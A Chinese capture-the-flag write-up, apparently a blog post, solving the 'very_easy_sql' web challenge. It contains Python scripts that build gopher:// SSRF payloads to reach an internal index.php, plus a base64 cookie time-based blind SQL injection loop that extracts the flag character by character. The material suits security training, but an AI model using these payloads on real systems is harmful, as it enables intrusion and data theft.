首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >【愚公系列】2023年05月 攻防世界-Web(very_easy_sql)

【愚公系列】2023年05月 攻防世界-Web(very_easy_sql)

作者头像
愚公搬代码
发布2025-05-28 14:31:45
发布2025-05-28 14:31:45
2230
举报
文章被收录于专栏:历史专栏历史专栏

前言

SSRF(Server Side Request Forgery)是一种安全漏洞,攻击者可以利用该漏洞远程发送请求,使得目标服务器处理攻击者指定的请求,而不是合法的请求。攻击者可以利用此漏洞,访问受保护的资源,或者从外部网络中执行任意命令。

Gopher协议是一种用于访问互联网资源的协议,通过gopher协议可以访问各种不同类型的协议,包括http、ftp、SMTP等。攻击者可以利用gopher协议来构造恶意请求,从而利用SSRF漏洞攻击目标系统。

具体来说,攻击者可以通过gopher协议构造一个特定的URL,使得目标系统在处理该URL时,会发送恶意请求到攻击者的服务器上。攻击者可以在恶意请求中搭载各种攻击代码,例如执行命令、读取敏感文件等。此外,攻击者还可以利用gopher协议绕过目标系统的一些安全措施,例如防火墙、WAF等。

一、very_easy_sql

1.题目

2.答题

查看源码

发现use.php,访问相关文件

其实有经验的人看到这里很容易就能联想到ssrf漏洞

编写payload脚本,实现内部访问:

代码语言:javascript
复制
import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)
//按照标准,URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
因为我在构造URL的过程中要使用到中文:此时需要用到urllib.parse.quote,此处是为了替换特殊字符\
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)

运行脚本获得payload如下:gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520curl/7.43.0%250D%250AAccept%253A%2520%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

抓包获取

可以发现setcookie的值为admin的base64编码值,猜测存在cookie注入,构造payload为admin' #

代码语言:javascript
复制
import urllib.parse

host = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="

test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}

""".format(host,cookie)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)

运行脚本获得payload如下:gopher://127.0.0.1:80/_GET%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AConnection%253A%2520close%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250ACookie%253Athis_is_your_cookie%253DYWRtaW4nICM%253D%250D%250A%250D%250A

发现报错了

构造最终脚本

代码语言:javascript
复制
import urllib.parse
import requests
import time
import base64
url="http://61.147.171.105:51677/use.php?url="
flag=""
for pos in range(1,50):
    for i in range(33,127):
        #poc="') union select 1,2,if(1=1,sleep(5),1) # "
 
        #security
        #poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
 
        #flag
        #poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
        t1=time.time()
        res=requests.get(url+final_poc)
        t2=time.time()
        if(t2-t1>2):
            flag+=chr(i)
            print(flag)
            break
print(flag)

得到flag:cyberpeace{fda5afa5db3eaa5902e573a4e785e4d9}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2025-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 一、very_easy_sql
    • 1.题目
    • 2.答题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档